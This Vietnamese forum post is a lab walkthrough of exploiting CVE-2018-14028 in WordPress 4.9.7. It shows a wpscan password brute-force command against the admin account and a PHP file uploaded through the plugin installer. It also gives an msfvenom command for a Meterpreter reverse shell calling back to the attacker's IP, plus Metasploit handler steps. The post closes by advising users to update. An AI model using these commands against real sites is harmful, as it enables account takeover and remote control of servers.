Demo khai thác lỗ hổng Upload File trong WordPress

sImplePerson

Member
23/03/2020
11
28 bài viết
Demo khai thác lỗ hổng Upload File trong WordPress
Trong WordPress v4.9.7, các plugin được tải lên bằng quyền admin, sẽ chỉ nhận các plugin với định dạng là .zip, tuy nhiên với việc WordPress vẫn cho phép nhận file với các định dạng khác, điều này cho phép ta có thể tải các file như php, .png , …. Khi một tệp được tải lên,nếu không đúng định dạng là .zip, WordPress sẽ hiển thị thông báo lỗi cho biết file tải lên đang sai định dạng, tuy nhiên WordPress vẫn sẽ cho phép lưu lại file trên máy chủ. Trong trường hợp này, ta dễ dàng tải lên các file mã độc. Có thể xem tệp đã được tải lên trang web bằng cách sau:

{Domain}/wordpress/wp-content/uploads/{year}/{month}/{file_name}.

CVE-2018-14028.png

Giới thiệu

Máy tấn công: Kali Linux

Máy nạn nhân: Windows 10

Công cụ được sử dụng: XAMPP, Metasploit

Phần mềm: WordPress v4.9.7

Để test lỗi này của WordPress, tôi đã xây dựng 1 trang WordPress trên máy ảo

1. Bước đầu tiên: Xây dựng trang WordPress bằng XAMPP
  • Mở XAMPP và bắt đầu các dịch vụ.
  • Dán thư mục wordpress vào htdocs của XAMPP.
  • mở 127.0.0.1/wordpress
  • Truy cập 127.0.0.1/phpmyadmin và vào cơ sở dữ liệu của wordpress thay đổi địa chỉ web từ 127.0.0.1/wordpress thành 192.168.118.198/wordpress (192.168.118.198 là địa chỉ ip của máy win 10)
1.png
  • Tạo tài khoản trên wordpress khi lần đầu tiên truy cập vào wordpress ( đây là tài khoản admin trang wordpress của bạn).
2. Trên máy tấn công(Kali Linux), sử dụng wpscan để lấy tên người dùng và mật khẩu của nạn nhân

wpscan --url http: //192.168.118.198/wordpress -U (user) --passwords (file password)​

từ đó ta sẽ nhận được mật khẩu.

Ở đây:
  • (user): tài khoản đăng nhập của admin wordpress, do tôi đã tạo tài khoản admin là test, nên việc khai thác lấy mật khẩu là dễ dàng. Việc khai thác ở ngoài sẽ phụ thuộc nhiều vào việc bạn có lấy được tài khoản của admin wordpress hay không
  • (file password): tôi đã thu thập nhiều mật khẩu yếu và lưu vào file password.txt
2.png

3. Sau khi khai thác xong, tôi nhận được tài khoản và mật khẩu của admin WordPress.

3.png

Từ máy tấn công, tôi truy cập vào trang http://192.168.118.198/wordpress/wp-login.php, sử dụng tài khoản và mật khẩu lấy được, tôi đã có quyền admin trên trang này.

4. Click Add new -> Upload Plugin.

4.png

5. Duyệt tệp php của bạn và nhấp vào Install now.

5.png

6.Tôi biết plugin wordpress chỉ chấp nhận tệp ZIP vì vậy khi tải file php lên, tôi đã nhận được thông báo lỗi như trong hình dưới đây.

6.png

7. Tuy nhiên, file php của tôi vẫn được tải lên trên máy chủ. Quá trình tải lên plugin này không thành công nhưng tệp php được lưu trữ trong /wordpress/wpcontent/uploads/{year}/{month}/{file_name}.

7.png

8. Với lỗ hổng này, ta có thể tạo một payload shell ngược bằng msfvenom, và tải nó lên thông qua việc tải plugin của WordPress

msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.118.200 lport=1337 –f raw

lhost=192.168.118.200 ( đây là ip máy tấn công )

8.png

Sao chép payload và dán nó vào shell.php, sau đó tải lên WordPress bằng "add Plugin" mà WordPress cung cấp.

9. Sử dụng msfconsole trên máy tấn công

Use exploit/multi/handler

Set lhost

Set lport

Use payload

Exploit

9.png

10. Ảnh khi khai thác thành công

10.png


11.png

Kết luận : Với người dùng đang sử dụng WordPress để xây dựng trang web của mình, tôi khuyên các bạn nên cập nhật lên phiên bản mới nhất để tránh tình trạng có thể bị khai thác như trên.
Nguồn : exploit-db
 
Chỉnh sửa lần cuối bởi người điều hành:
Thẻ
cve-2018-14028 lỗ hổng upload file lỗ hổng wordpress
Bên trên